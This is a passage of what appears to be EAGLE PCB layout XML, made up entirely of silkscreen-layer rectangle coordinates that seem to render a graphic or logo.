layer=\"21\"/>\n<rectangle x1=\"-0.2198\" y1=\"2.4134\" x2=\"-0.1665\" y2=\"2.4178\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4134\" x2=\"0.1354\" y2=\"2.4178\" layer=\"21\"/>\n<rectangle x1=\"0.5084\" y1=\"2.4134\" x2=\"1.3787\" y2=\"2.4178\" layer=\"21\"/>\n<rectangle x1=\"-1.4543\" y1=\"2.4178\" x2=\"-0.5928\" y2=\"2.4223\" layer=\"21\"/>\n<rectangle x1=\"-0.2198\" y1=\"2.4178\" x2=\"-0.1665\" y2=\"2.4223\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4178\" x2=\"0.1354\" y2=\"2.4223\" layer=\"21\"/>\n<rectangle x1=\"0.5084\" y1=\"2.4178\" x2=\"1.3699\" y2=\"2.4223\" layer=\"21\"/>\n<rectangle x1=\"-1.4454\" y1=\"2.4223\" x2=\"-0.5884\" y2=\"2.4267\" layer=\"21\"/>\n<rectangle x1=\"-0.2154\" y1=\"2.4223\" x2=\"-0.1665\" y2=\"2.4267\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4223\" x2=\"0.131\" y2=\"2.4267\" layer=\"21\"/>\n<rectangle x1=\"0.504\" y1=\"2.4223\" x2=\"1.361\" y2=\"2.4267\" layer=\"21\"/>\n<rectangle x1=\"-1.4365\" y1=\"2.4267\" x2=\"-0.5884\" y2=\"2.4311\" layer=\"21\"/>\n<rectangle x1=\"-0.2154\" y1=\"2.4267\" x2=\"-0.1665\" y2=\"2.4311\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4267\" x2=\"0.1265\" y2=\"2.4311\" layer=\"21\"/>\n<rectangle x1=\"0.504\" y1=\"2.4267\" x2=\"1.3565\" y2=\"2.4311\" layer=\"21\"/>\n<rectangle x1=\"-1.4321\" y1=\"2.4311\" x2=\"-0.584\" y2=\"2.4356\" layer=\"21\"/>\n<rectangle x1=\"-0.211\" y1=\"2.4311\" x2=\"-0.1665\" y2=\"2.4356\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4311\" x2=\"0.1265\" y2=\"2.4356\" layer=\"21\"/>\n<rectangle x1=\"0.4995\" y1=\"2.4311\" x2=\"1.3477\" y2=\"2.4356\" layer=\"21\"/>\n<rectangle x1=\"-1.4232\" y1=\"2.4356\" x2=\"-0.584\" y2=\"2.44\" layer=\"21\"/>\n<rectangle x1=\"-0.2065\" y1=\"2.4356\" x2=\"-0.1665\" y2=\"2.44\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4356\" x2=\"0.1221\" y2=\"2.44\" layer=\"21\"/>\n<rectangle x1=\"0.4995\" y1=\"2.4356\" x2=\"1.3388\" y2=\"2.44\" layer=\"21\"/>\n<rectangle x1=\"-1.4143\" y1=\"2.44\" x2=\"-0.5795\" y2=\"2.4445\" layer=\"21\"/>\n<rectangle x1=\"-0.2065\" y1=\"2.44\" x2=\"-0.1665\" y2=\"2.4445\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.44\" x2=\"0.1221\" y2=\"2.4445\" layer=\"21\"/>\n<rectangle x1=\"0.4951\" y1=\"2.44\" x2=\"1.3299\" y2=\"2.4445\" layer=\"21\"/>\n<rectangle x1=\"-1.4099\" y1=\"2.4445\" x2=\"-0.5751\" y2=\"2.4489\" layer=\"21\"/>\n<rectangle x1=\"-0.2021\" y1=\"2.4445\" x2=\"-0.1665\" y2=\"2.4489\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4445\" x2=\"0.1176\" y2=\"2.4489\" layer=\"21\"/>\n<rectangle x1=\"0.4906\" y1=\"2.4445\" x2=\"1.3255\" y2=\"2.4489\" layer=\"21\"/>\n<rectangle x1=\"-1.401\" y1=\"2.4489\" x2=\"-0.5751\" y2=\"2.4533\" layer=\"21\"/>\n<rectangle x1=\"-0.2021\" y1=\"2.4489\" x2=\"-0.1665\" y2=\"2.4533\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4489\" x2=\"0.1176\" y2=\"2.4533\" layer=\"21\"/>\n<rectangle x1=\"0.4906\" y1=\"2.4489\" x2=\"1.3166\" y2=\"2.4533\" layer=\"21\"/>\n<rectangle x1=\"-1.3921\" y1=\"2.4533\" x2=\"-0.5706\" y2=\"2.4578\" layer=\"21\"/>\n<rectangle x1=\"-0.1976\" y1=\"2.4533\" x2=\"-0.1665\" y2=\"2.4578\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4533\" x2=\"0.1132\" y2=\"2.4578\" layer=\"21\"/>\n<rectangle x1=\"0.4862\" y1=\"2.4533\" x2=\"1.3077\" y2=\"2.4578\" layer=\"21\"/>\n<rectangle x1=\"-1.3832\" y1=\"2.4578\" x2=\"-0.5706\" y2=\"2.4622\" layer=\"21\"/>\n<rectangle x1=\"-0.1932\" y1=\"2.4578\" x2=\"-0.1665\" y2=\"2.4622\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4578\" x2=\"0.1088\" y2=\"2.4622\" layer=\"21\"/>\n<rectangle x1=\"0.4862\" y1=\"2.4578\" x2=\"1.2988\" y2=\"2.4622\" layer=\"21\"/>\n<rectangle x1=\"-1.3788\" y1=\"2.4622\" x2=\"-0.5662\" y2=\"2.4667\" layer=\"21\"/>\n<rectangle x1=\"-0.1932\" y1=\"2.4622\" x2=\"-0.1665\" y2=\"2.4667\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4622\" x2=\"0.1088\" y2=\"2.4667\" layer=\"21\"/>\n<rectangle x1=\"0.4818\" y1=\"2.4622\" x2=\"1.2944\" y2=\"2.4667\" layer=\"21\"/>\n<rectangle x1=\"-1.3699\" y1=\"2.4667\" x2=\"-0.5662\" y2=\"2.4711\" layer=\"21\"/>\n<rectangle x1=\"-0.1888\" y1=\"2.4667\" x2=\"-0.1665\" y2=\"2.4711\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4667\" x2=\"0.1043\" y2=\"2.4711\" layer=\"21\"/>\n<rectangle x1=\"0.4818\" y1=\"2.4667\" x2=\"1.2855\" y2=\"2.4711\" layer=\"21\"/>\n<rectangle x1=\"-1.361\" y1=\"2.4711\" x2=\"-0.5618\" y2=\"2.4755\" layer=\"21\"/>\n<rectangle x1=\"-0.1888\" y1=\"2.4711\" x2=\"-0.1665\" y2=\"2.4755\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4711\" x2=\"0.1043\" y2=\"2.4755\" layer=\"21\"/>\n<rectangle x1=\"0.4773\" y1=\"2.4711\" x2=\"1.2766\" y2=\"2.4755\" layer=\"21\"/>\n<rectangle x1=\"-1.3522\" y1=\"2.4755\" x2=\"-0.5573\" y2=\"2.48\" layer=\"21\"/>\n<rectangle x1=\"-0.1843\" y1=\"2.4755\" x2=\"-0.1665\" y2=\"2.48\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4755\" x2=\"0.0999\" y2=\"2.48\" layer=\"21\"/>\n<rectangle x1=\"0.4729\" y1=\"2.4755\" x2=\"1.2677\" y2=\"2.48\" layer=\"21\"/>\n<rectangle x1=\"-1.3477\" y1=\"2.48\" x2=\"-0.5573\" y2=\"2.4844\" layer=\"21\"/>\n<rectangle x1=\"-0.1843\" y1=\"2.48\" x2=\"-0.1665\" y2=\"2.4844\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.48\" x2=\"0.0999\" y2=\"2.4844\" layer=\"21\"/>\n<rectangle x1=\"0.4729\" y1=\"2.48\" x2=\"1.2633\" y2=\"2.4844\" layer=\"21\"/>\n<rectangle x1=\"-1.3388\" y1=\"2.4844\" x2=\"-0.5529\" y2=\"2.4889\" layer=\"21\"/>\n<rectangle x1=\"-0.1799\" y1=\"2.4844\" x2=\"-0.1665\" y2=\"2.4889\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4844\" x2=\"0.0954\" y2=\"2.4889\" layer=\"21\"/>\n<rectangle x1=\"0.4684\" y1=\"2.4844\" x2=\"1.2544\" y2=\"2.4889\" layer=\"21\"/>\n<rectangle x1=\"-1.33\" y1=\"2.4889\" x2=\"-0.5529\" y2=\"2.4933\" layer=\"21\"/>\n<rectangle x1=\"-0.1754\" y1=\"2.4889\" x2=\"-0.1665\" y2=\"2.4933\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4889\" x2=\"0.091\" y2=\"2.4933\" layer=\"21\"/>\n<rectangle x1=\"0.4684\" y1=\"2.4889\" x2=\"1.2455\" y2=\"2.4933\" layer=\"21\"/>\n<rectangle x1=\"-1.3255\" y1=\"2.4933\" x2=\"-0.5484\" y2=\"2.4977\" layer=\"21\"/>\n<rectangle x1=\"-0.1754\" y1=\"2.4933\" x2=\"-0.1665\" y2=\"2.4977\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4933\" x2=\"0.091\" y2=\"2.4977\" layer=\"21\"/>\n<rectangle x1=\"0.464\" y1=\"2.4933\" x2=\"1.2411\" y2=\"2.4977\" layer=\"21\"/>\n<rectangle x1=\"-1.3166\" y1=\"2.4977\" x2=\"-0.5484\" y2=\"2.5022\" layer=\"21\"/>\n<rectangle x1=\"-0.171\" y1=\"2.4977\" x2=\"-0.1665\" y2=\"2.5022\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"2.4977\" x2=\"0.0866\" y2=\"2.5022\" layer=\"21\"/>\n<rectangle x1=\"0.4596\" y1=\"2.4977\" x2=\"1.2322\" y2=\"2.5022\" layer=\"21\"/>\n<rectangle x1=\"-1.3078\" y1=\"2.5022\" x2=\"-0.544\" y2=\"2.5066\" layer=\"21\"/>\n<rectangle x1=\"0.4596\" y1=\"2.5022\" x2=\"1.2233\" y2=\"2.5066\" layer=\"21\"/>\n<rectangle x1=\"-1.2989\" y1=\"2.5066\" x2=\"-0.5396\" y2=\"2.5111\" layer=\"21\"/>\n<rectangle x1=\"0.4551\" y1=\"2.5066\" x2=\"1.2144\" y2=\"2.5111\" layer=\"21\"/>\n<rectangle x1=\"-1.2944\" y1=\"2.5111\" x2=\"-0.5396\" y2=\"2.5155\" layer=\"21\"/>\n<rectangle x1=\"0.4551\" y1=\"2.5111\" x2=\"1.21\" y2=\"2.5155\" layer=\"21\"/>\n<rectangle x1=\"-1.2856\" y1=\"2.5155\" x2=\"-0.5351\" y2=\"2.52\" layer=\"21\"/>\n<rectangle x1=\"0.4507\" y1=\"2.5155\" x2=\"1.2011\" y2=\"2.52\" layer=\"21\"/>\n<rectangle x1=\"-1.2767\" y1=\"2.52\" x2=\"-0.5351\" y2=\"2.5244\" layer=\"21\"/>\n<rectangle x1=\"0.4507\" y1=\"2.52\" x2=\"1.1922\" y2=\"2.5244\" layer=\"21\"/>\n<rectangle x1=\"-1.2678\" y1=\"2.5244\" x2=\"-0.5307\" y2=\"2.5288\" layer=\"21\"/>\n<rectangle x1=\"0.4462\" y1=\"2.5244\" x2=\"1.1834\" y2=\"2.5288\" layer=\"21\"/>\n<rectangle x1=\"-1.2634\" y1=\"2.5288\" x2=\"-0.5262\" y2=\"2.5333\" layer=\"21\"/>\n<rectangle x1=\"0.4418\" y1=\"2.5288\" x2=\"1.1789\" y2=\"2.5333\" layer=\"21\"/>\n<rectangle x1=\"-1.2545\" y1=\"2.5333\" x2=\"-0.5262\" y2=\"2.5377\" layer=\"21\"/>\n<rectangle x1=\"0.4418\" y1=\"2.5333\" x2=\"1.17\" y2=\"2.5377\" layer=\"21\"/>\n<rectangle x1=\"-1.2456\" y1=\"2.5377\" x2=\"-0.5218\" y2=\"2.5422\" layer=\"21\"/>\n<rectangle x1=\"0.4374\" y1=\"2.5377\" x2=\"1.1612\" y2=\"2.5422\" layer=\"21\"/>\n<rectangle x1=\"-1.2367\" y1=\"2.5422\" x2=\"-0.5218\" y2=\"2.5466\" layer=\"21\"/>\n<rectangle x1=\"0.4374\" y1=\"2.5422\" x2=\"1.1567\" y2=\"2.5466\" layer=\"21\"/>\n<rectangle x1=\"-1.2323\" y1=\"2.5466\" x2=\"-0.5173\" y2=\"2.551\" layer=\"21\"/>\n<rectangle x1=\"0.4329\" y1=\"2.5466\" x2=\"1.1478\" y2=\"2.551\" layer=\"21\"/>\n<rectangle x1=\"-1.2234\" y1=\"2.551\" x2=\"-0.5173\" y2=\"2.5555\" layer=\"21\"/>\n<rectangle x1=\"0.4329\" y1=\"2.551\" x2=\"1.139\" y2=\"2.5555\" layer=\"21\"/>\n<rectangle x1=\"-1.2145\" y1=\"2.5555\" x2=\"-0.5129\" y2=\"2.5599\" layer=\"21\"/>\n<rectangle x1=\"0.4285\" y1=\"2.5555\" x2=\"1.1301\" y2=\"2.5599\" layer=\"21\"/>\n<rectangle x1=\"-1.2101\" y1=\"2.5599\" x2=\"-0.5085\" y2=\"2.5644\" layer=\"21\"/>\n<rectangle x1=\"0.424\" y1=\"2.5599\" x2=\"1.1256\" y2=\"2.5644\" layer=\"21\"/>\n<rectangle x1=\"-1.2012\" y1=\"2.5644\" x2=\"-0.5085\" y2=\"2.5688\" layer=\"21\"/>\n<rectangle x1=\"0.424\" y1=\"2.5644\" x2=\"1.1168\" y2=\"2.5688\" layer=\"21\"/>\n<rectangle x1=\"-1.1923\" y1=\"2.5688\" x2=\"-0.504\" y2=\"2.5732\" layer=\"21\"/>\n<rectangle x1=\"0.4196\" y1=\"2.5688\" x2=\"1.1079\" y2=\"2.5732\" layer=\"21\"/>\n<rectangle x1=\"-1.1834\" y1=\"2.5732\" x2=\"-0.504\" y2=\"2.5777\" layer=\"21\"/>\n<rectangle x1=\"0.4196\" y1=\"2.5732\" x2=\"1.099\" y2=\"2.5777\" layer=\"21\"/>\n<rectangle x1=\"-1.179\" y1=\"2.5777\" x2=\"-0.4996\" y2=\"2.5821\" layer=\"21\"/>\n<rectangle x1=\"0.4152\" y1=\"2.5777\" x2=\"1.0946\" y2=\"2.5821\" layer=\"21\"/>\n<rectangle x1=\"-1.1701\" y1=\"2.5821\" x2=\"-0.4996\" y2=\"2.5866\" layer=\"21\"/>\n<rectangle x1=\"0.4152\" y1=\"2.5821\" x2=\"1.0857\" y2=\"2.5866\" layer=\"21\"/>\n<rectangle x1=\"-1.1612\" y1=\"2.5866\" x2=\"-0.4951\" y2=\"2.591\" layer=\"21\"/>\n<rectangle x1=\"0.4107\" y1=\"2.5866\" x2=\"1.0768\" y2=\"2.591\" layer=\"21\"/>\n<rectangle x1=\"-1.1523\" y1=\"2.591\" x2=\"-0.4907\" y2=\"2.5954\" layer=\"21\"/>\n<rectangle x1=\"0.4063\" y1=\"2.591\" x2=\"1.0679\" y2=\"2.5954\" layer=\"21\"/>\n<rectangle x1=\"-1.1479\" y1=\"2.5954\" x2=\"-0.4907\" y2=\"2.5999\" layer=\"21\"/>\n<rectangle x1=\"0.4063\" y1=\"2.5954\" x2=\"1.0635\" y2=\"2.5999\" layer=\"21\"/>\n<rectangle x1=\"-1.139\" y1=\"2.5999\" x2=\"-0.4863\" y2=\"2.6043\" layer=\"21\"/>\n<rectangle x1=\"0.4018\" y1=\"2.5999\" x2=\"1.0546\" y2=\"2.6043\" layer=\"21\"/>\n<rectangle x1=\"-1.1301\" y1=\"2.6043\" x2=\"-0.4863\" y2=\"2.6088\" layer=\"21\"/>\n<rectangle x1=\"0.4018\" y1=\"2.6043\" x2=\"1.0457\" y2=\"2.6088\" layer=\"21\"/>\n<rectangle x1=\"-1.1213\" y1=\"2.6088\" x2=\"-0.4818\" y2=\"2.6132\" layer=\"21\"/>\n<rectangle x1=\"0.3974\" y1=\"2.6088\" x2=\"1.0413\" y2=\"2.6132\" layer=\"21\"/>\n<rectangle x1=\"-1.1168\" y1=\"2.6132\" x2=\"-0.4818\" y2=\"2.6176\" layer=\"21\"/>\n<rectangle x1=\"0.393\" y1=\"2.6132\" x2=\"1.0324\" y2=\"2.6176\" layer=\"21\"/>\n<rectangle x1=\"-1.1079\" y1=\"2.6176\" x2=\"-0.4774\" y2=\"2.6221\" layer=\"21\"/>\n<rectangle x1=\"0.393\" y1=\"2.6176\" x2=\"1.0235\" y2=\"2.6221\" layer=\"21\"/>\n<rectangle x1=\"-1.0991\" y1=\"2.6221\" x2=\"-0.4729\" y2=\"2.6265\" layer=\"21\"/>\n<rectangle x1=\"0.3885\" y1=\"2.6221\" x2=\"1.0146\" y2=\"2.6265\" layer=\"21\"/>\n<rectangle x1=\"-1.0946\" y1=\"2.6265\" x2=\"-0.4729\" y2=\"2.631\" layer=\"21\"/>\n<rectangle x1=\"0.3885\" y1=\"2.6265\" x2=\"1.0102\" y2=\"2.631\" layer=\"21\"/>\n<rectangle x1=\"-1.0857\" y1=\"2.631\" x2=\"-0.4685\" y2=\"2.6354\" layer=\"21\"/>\n<rectangle x1=\"0.3841\" y1=\"2.631\" x2=\"1.0013\" y2=\"2.6354\" layer=\"21\"/>\n<rectangle x1=\"-1.0769\" y1=\"2.6354\" x2=\"-0.4685\" y2=\"2.6398\" layer=\"21\"/>\n<rectangle x1=\"0.3841\" y1=\"2.6354\" x2=\"0.9924\" y2=\"2.6398\" layer=\"21\"/>\n<rectangle x1=\"-1.068\" y1=\"2.6398\" x2=\"-0.4641\" y2=\"2.6443\" layer=\"21\"/>\n<rectangle x1=\"0.3796\" y1=\"2.6398\" x2=\"0.9835\" y2=\"2.6443\" layer=\"21\"/>\n<rectangle x1=\"-1.0635\" y1=\"2.6443\" x2=\"-0.4596\" y2=\"2.6487\" layer=\"21\"/>\n<rectangle x1=\"0.3752\" y1=\"2.6443\" x2=\"0.9791\" y2=\"2.6487\" layer=\"21\"/>\n<rectangle x1=\"-1.0546\" y1=\"2.6487\" x2=\"-0.4596\" y2=\"2.6532\" layer=\"21\"/>\n<rectangle x1=\"0.3752\" y1=\"2.6487\" x2=\"0.9702\" y2=\"2.6532\" layer=\"21\"/>\n<rectangle x1=\"-1.0458\" y1=\"2.6532\" x2=\"-0.4552\" y2=\"2.6576\" layer=\"21\"/>\n<rectangle x1=\"0.3708\" y1=\"2.6532\" x2=\"0.9613\" y2=\"2.6576\" layer=\"21\"/>\n<rectangle x1=\"-1.0369\" y1=\"2.6576\" x2=\"-0.4552\" y2=\"2.662\" layer=\"21\"/>\n<rectangle x1=\"0.3708\" y1=\"2.6576\" x2=\"0.9569\" y2=\"2.662\" layer=\"21\"/>\n<rectangle x1=\"-1.0324\" y1=\"2.662\" x2=\"-0.4507\" y2=\"2.6665\" layer=\"21\"/>\n<rectangle x1=\"0.3663\" y1=\"2.662\" x2=\"0.948\" y2=\"2.6665\" layer=\"21\"/>\n<rectangle x1=\"-1.0236\" y1=\"2.6665\" x2=\"-0.4507\" y2=\"2.6709\" layer=\"21\"/>\n<rectangle x1=\"0.3663\" y1=\"2.6665\" x2=\"0.9391\" y2=\"2.6709\" layer=\"21\"/>\n<rectangle x1=\"-1.0147\" y1=\"2.6709\" x2=\"-0.4463\" y2=\"2.6754\" layer=\"21\"/>\n<rectangle x1=\"0.3619\" y1=\"2.6709\" x2=\"0.9303\" y2=\"2.6754\" layer=\"21\"/>\n<rectangle x1=\"-1.0102\" y1=\"2.6754\" x2=\"-0.4419\" y2=\"2.6798\" layer=\"21\"/>\n<rectangle x1=\"0.3574\" y1=\"2.6754\" x2=\"0.9258\" y2=\"2.6798\" layer=\"21\"/>\n<rectangle x1=\"-1.0014\" y1=\"2.6798\" x2=\"-0.4419\" y2=\"2.6842\" layer=\"21\"/>\n<rectangle x1=\"0.3574\" y1=\"2.6798\" x2=\"0.9169\" y2=\"2.6842\" layer=\"21\"/>\n<rectangle x1=\"-0.9925\" y1=\"2.6842\" x2=\"-0.4374\" y2=\"2.6887\" layer=\"21\"/>\n<rectangle x1=\"0.353\" y1=\"2.6842\" x2=\"0.9081\" y2=\"2.6887\" layer=\"21\"/>\n<rectangle x1=\"-0.9836\" y1=\"2.6887\" x2=\"-0.4374\" y2=\"2.6931\" layer=\"21\"/>\n<rectangle x1=\"0.353\" y1=\"2.6887\" x2=\"0.8992\" y2=\"2.6931\" layer=\"21\"/>\n<rectangle x1=\"-0.9792\" y1=\"2.6931\" x2=\"-0.433\" y2=\"2.6976\" layer=\"21\"/>\n<rectangle x1=\"0.3485\" y1=\"2.6931\" x2=\"0.8947\" y2=\"2.6976\" layer=\"21\"/>\n<rectangle x1=\"-0.9703\" y1=\"2.6976\" x2=\"-0.433\" y2=\"2.702\" layer=\"21\"/>\n<rectangle x1=\"0.3485\" y1=\"2.6976\" x2=\"0.8858\" y2=\"2.702\" layer=\"21\"/>\n<rectangle x1=\"-0.9614\" y1=\"2.702\" x2=\"-0.4285\" y2=\"2.7065\" layer=\"21\"/>\n<rectangle x1=\"0.3441\" y1=\"2.702\" x2=\"0.877\" y2=\"2.7065\" layer=\"21\"/>\n<rectangle x1=\"-0.9525\" y1=\"2.7065\" x2=\"-0.4241\" y2=\"2.7109\" layer=\"21\"/>\n<rectangle x1=\"0.3397\" y1=\"2.7065\" x2=\"0.8681\" y2=\"2.7109\" layer=\"21\"/>\n<rectangle x1=\"-0.9481\" y1=\"2.7109\" x2=\"-0.4241\" y2=\"2.7153\" layer=\"21\"/>\n<rectangle x1=\"0.3397\" y1=\"2.7109\" x2=\"0.8636\" y2=\"2.7153\" layer=\"21\"/>\n<rectangle x1=\"-0.9392\" y1=\"2.7153\" x2=\"-0.4197\" y2=\"2.7198\" layer=\"21\"/>\n<rectangle x1=\"0.3352\" y1=\"2.7153\" x2=\"0.8548\" y2=\"2.7198\" layer=\"21\"/>\n<rectangle x1=\"-0.9303\" y1=\"2.7198\" x2=\"-0.4197\" y2=\"2.7242\" layer=\"21\"/>\n<rectangle x1=\"0.3352\" y1=\"2.7198\" x2=\"0.8459\" y2=\"2.7242\" layer=\"21\"/>\n<rectangle x1=\"-0.9214\" y1=\"2.7242\" x2=\"-0.4152\" y2=\"2.7287\" layer=\"21\"/>\n<rectangle x1=\"0.3308\" y1=\"2.7242\" x2=\"0.8414\" y2=\"2.7287\" layer=\"21\"/>\n<rectangle x1=\"-0.917\" y1=\"2.7287\" x2=\"-0.4108\" y2=\"2.7331\" layer=\"21\"/>\n<rectangle x1=\"0.3263\" y1=\"2.7287\" x2=\"0.8326\" y2=\"2.7331\" layer=\"21\"/>\n<rectangle x1=\"-0.9081\" y1=\"2.7331\" x2=\"-0.4108\" y2=\"2.7375\" layer=\"21\"/>\n<rectangle x1=\"0.3263\" y1=\"2.7331\" x2=\"0.8237\" y2=\"2.7375\" layer=\"21\"/>\n<rectangle x1=\"-0.8992\" y1=\"2.7375\" x2=\"-0.4063\" y2=\"2.742\" layer=\"21\"/>\n<rectangle x1=\"0.3219\" y1=\"2.7375\" x2=\"0.8148\" y2=\"2.742\" layer=\"21\"/>\n<rectangle x1=\"-0.8948\" y1=\"2.742\" x2=\"-0.4063\" y2=\"2.7464\" layer=\"21\"/>\n<rectangle x1=\"0.3219\" y1=\"2.742\" x2=\"0.8104\" y2=\"2.7464\" layer=\"21\"/>\n<rectangle x1=\"-0.8859\" y1=\"2.7464\" x2=\"-0.4019\" y2=\"2.7509\" layer=\"21\"/>\n<rectangle x1=\"0.3175\" y1=\"2.7464\" x2=\"0.8015\" y2=\"2.7509\" layer=\"21\"/>\n<rectangle x1=\"-0.877\" y1=\"2.7509\" x2=\"-0.4019\" y2=\"2.7553\" layer=\"21\"/>\n<rectangle x1=\"0.3175\" y1=\"2.7509\" x2=\"0.7926\" y2=\"2.7553\" layer=\"21\"/>\n<rectangle x1=\"-0.8681\" y1=\"2.7553\" x2=\"-0.3975\" y2=\"2.7597\" layer=\"21\"/>\n<rectangle x1=\"0.313\" y1=\"2.7553\" x2=\"0.7837\" y2=\"2.7597\" layer=\"21\"/>\n<rectangle x1=\"-0.8637\" y1=\"2.7597\" x2=\"-0.393\" y2=\"2.7642\" layer=\"21\"/>\n<rectangle x1=\"0.3086\" y1=\"2.7597\" x2=\"0.7793\" y2=\"2.7642\" layer=\"21\"/>\n<rectangle x1=\"-0.8548\" y1=\"2.7642\" x2=\"-0.393\" y2=\"2.7686\" layer=\"21\"/>\n<rectangle x1=\"0.3086\" y1=\"2.7642\" x2=\"0.7704\" y2=\"2.7686\" layer=\"21\"/>\n<rectangle x1=\"-0.8459\" y1=\"2.7686\" x2=\"-0.3886\" y2=\"2.7731\" layer=\"21\"/>\n<rectangle x1=\"0.3041\" y1=\"2.7686\" x2=\"0.7615\" y2=\"2.7731\" layer=\"21\"/>\n<rectangle x1=\"-0.8371\" y1=\"2.7731\" x2=\"-0.3886\" y2=\"2.7775\" layer=\"21\"/>\n<rectangle x1=\"0.3041\" y1=\"2.7731\" x2=\"0.7526\" y2=\"2.7775\" layer=\"21\"/>\n<rectangle x1=\"-0.8326\" y1=\"2.7775\" x2=\"-0.3841\" y2=\"2.7819\" layer=\"21\"/>\n<rectangle x1=\"0.2997\" y1=\"2.7775\" x2=\"0.7482\" y2=\"2.7819\" layer=\"21\"/>\n<rectangle x1=\"-0.8237\" y1=\"2.7819\" x2=\"-0.3841\" y2=\"2.7864\" layer=\"21\"/>\n<rectangle x1=\"0.2997\" y1=\"2.7819\" x2=\"0.7393\" y2=\"2.7864\" layer=\"21\"/>\n<rectangle x1=\"-0.8149\" y1=\"2.7864\" x2=\"-0.3797\" y2=\"2.7908\" layer=\"21\"/>\n<rectangle x1=\"0.2953\" y1=\"2.7864\" x2=\"0.7304\" y2=\"2.7908\" layer=\"21\"/>\n<rectangle x1=\"-0.806\" y1=\"2.7908\" x2=\"-0.3753\" y2=\"2.7953\" layer=\"21\"/>\n<rectangle x1=\"0.2908\" y1=\"2.7908\" x2=\"0.726\" y2=\"2.7953\" layer=\"21\"/>\n<rectangle x1=\"-0.8015\" y1=\"2.7953\" x2=\"-0.3753\" y2=\"2.7997\" layer=\"21\"/>\n<rectangle x1=\"0.2908\" y1=\"2.7953\" x2=\"0.7171\" y2=\"2.7997\" layer=\"21\"/>\n<rectangle x1=\"-0.7927\" y1=\"2.7997\" x2=\"-0.3708\" y2=\"2.8041\" layer=\"21\"/>\n<rectangle x1=\"0.2864\" y1=\"2.7997\" x2=\"0.7082\" y2=\"2.8041\" layer=\"21\"/>\n<rectangle x1=\"-0.7838\" y1=\"2.8041\" x2=\"-0.3708\" y2=\"2.8086\" layer=\"21\"/>\n<rectangle x1=\"0.2864\" y1=\"2.8041\" x2=\"0.6993\" y2=\"2.8086\" layer=\"21\"/>\n<rectangle x1=\"-0.7793\" y1=\"2.8086\" x2=\"-0.3664\" y2=\"2.813\" layer=\"21\"/>\n<rectangle x1=\"0.2819\" y1=\"2.8086\" x2=\"0.6949\" y2=\"2.813\" layer=\"21\"/>\n<rectangle x1=\"-0.7705\" y1=\"2.813\" x2=\"-0.3664\" y2=\"2.8175\" layer=\"21\"/>\n<rectangle x1=\"0.2819\" y1=\"2.813\" x2=\"0.686\" y2=\"2.8175\" layer=\"21\"/>\n<rectangle x1=\"-0.7616\" y1=\"2.8175\" x2=\"-0.3619\" y2=\"2.8219\" layer=\"21\"/>\n<rectangle x1=\"0.2775\" y1=\"2.8175\" x2=\"0.6771\" y2=\"2.8219\" layer=\"21\"/>\n<rectangle x1=\"-0.7527\" y1=\"2.8219\" x2=\"-0.3575\" y2=\"2.8263\" layer=\"21\"/>\n<rectangle x1=\"0.2731\" y1=\"2.8219\" x2=\"0.6683\" y2=\"2.8263\" layer=\"21\"/>\n<rectangle x1=\"-0.7483\" y1=\"2.8263\" x2=\"-0.3575\" y2=\"2.8308\" layer=\"21\"/>\n<rectangle x1=\"0.2731\" y1=\"2.8263\" x2=\"0.6638\" y2=\"2.8308\" layer=\"21\"/>\n<rectangle x1=\"-0.7394\" y1=\"2.8308\" x2=\"-0.3531\" y2=\"2.8352\" layer=\"21\"/>\n<rectangle x1=\"0.2686\" y1=\"2.8308\" x2=\"0.6549\" y2=\"2.8352\" layer=\"21\"/>\n<rectangle x1=\"-0.7305\" y1=\"2.8352\" x2=\"-0.3531\" y2=\"2.8397\" layer=\"21\"/>\n<rectangle x1=\"0.2686\" y1=\"2.8352\" x2=\"0.6461\" y2=\"2.8397\" layer=\"21\"/>\n<rectangle x1=\"-0.7216\" y1=\"2.8397\" x2=\"-0.3486\" y2=\"2.8441\" layer=\"21\"/>\n<rectangle x1=\"0.2642\" y1=\"2.8397\" x2=\"0.6416\" y2=\"2.8441\" layer=\"21\"/>\n<rectangle x1=\"-0.7172\" y1=\"2.8441\" x2=\"-0.3442\" y2=\"2.8485\" layer=\"21\"/>\n<rectangle x1=\"0.2597\" y1=\"2.8441\" x2=\"0.6327\" y2=\"2.8485\" layer=\"21\"/>\n<rectangle x1=\"-0.7083\" y1=\"2.8485\" x2=\"-0.3442\" y2=\"2.853\" layer=\"21\"/>\n<rectangle x1=\"0.2597\" y1=\"2.8485\" x2=\"0.6239\" y2=\"2.853\" layer=\"21\"/>\n<rectangle x1=\"-0.6994\" y1=\"2.853\" x2=\"-0.3397\" y2=\"2.8574\" layer=\"21\"/>\n<rectangle x1=\"0.2553\" y1=\"2.853\" x2=\"0.615\" y2=\"2.8574\" layer=\"21\"/>\n<rectangle x1=\"-0.695\" y1=\"2.8574\" x2=\"-0.3397\" y2=\"2.8619\" layer=\"21\"/>\n<rectangle x1=\"0.2553\" y1=\"2.8574\" x2=\"0.6105\" y2=\"2.8619\" layer=\"21\"/>\n<rectangle x1=\"-0.6861\" y1=\"2.8619\" x2=\"-0.3353\" y2=\"2.8663\" layer=\"21\"/>\n<rectangle x1=\"0.2509\" y1=\"2.8619\" x2=\"0.6017\" y2=\"2.8663\" layer=\"21\"/>\n<rectangle x1=\"-0.6772\" 